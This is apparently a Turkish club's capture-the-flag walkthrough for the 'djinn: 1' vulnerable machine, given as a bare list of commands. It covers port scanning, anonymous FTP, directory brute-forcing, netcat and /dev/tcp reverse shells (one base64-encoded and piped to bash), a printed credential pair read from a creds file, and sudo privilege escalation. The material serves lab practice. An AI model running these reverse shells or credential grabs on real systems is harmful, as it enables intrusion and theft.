djinn: 1 Zafiyetli Makine Çözümü //Siber Güvenlik Kulübü

netdiscover

nmap –p- 192.168.1.48

ftp 192.168.1.48

anonymous

ls

192.168.1.48/1337

nc 192.168.1.48 1337

192.168.1.48:7331

sudo apt-get install gobuster

gobuster dir -u http://192.168.1.48:7331 -w /usr/share/wordlists/dirb/big.txt

id

nc –nlvp 1234

nc -e /bin/sh 192.168.1.48 1234

echo "bash -i >& /dev/tcp/192.168.1.62/1234 0>&1" | base64

nc –lvp 1234

echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuNDggMTIzNA== | base64 -d | bash

ls

cat app.py

cat /home/nitish/.dev/creds.txt

nitish:p4ssw0rdStr3r0n9

bash

python -c 'import pty;pty.spawn("/bin/sh")'

nitish

p4ssw0rdStr3r0n9

cd ..

cd ..

cd home/nitish

ls

cat user.txt

su –l

genie

genie –h

sudo -u sam genie -cmd new

sudo –l

sudo –u root /root/lago

bash

su root

cd

ls

./proof.sh